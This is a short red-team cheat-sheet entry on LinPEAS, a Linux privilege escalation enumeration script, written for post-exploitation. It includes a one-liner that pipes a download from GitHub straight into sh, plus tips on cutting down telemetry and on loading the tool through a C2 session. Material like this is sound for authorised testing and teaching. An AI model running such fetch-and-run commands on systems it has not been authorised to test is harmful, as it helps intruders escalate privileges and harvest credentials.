LinPEAS

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

All-in-one local enumeration script: sweeps the Linux host for privilege escalation vectors (SUID, sudo, capabilities, cron, cleartext credentials, exposed configs) and color-codes each finding by relevance.

When you land on a Linux host with an unprivileged user shell and want a quick map of everything worth trying. I run it almost always at the start of post-exploitation: it takes a couple of minutes and tells me where to go, from SUID binaries to environment variables with secrets.

If the operation is sensitive, the full scan touches many files and generates a fair amount of telemetry; better use -s to limit to one section. Also avoid it if you can't get the script onto the host (filtered egress): then port it inside your C2 session or upload only the parts you care about.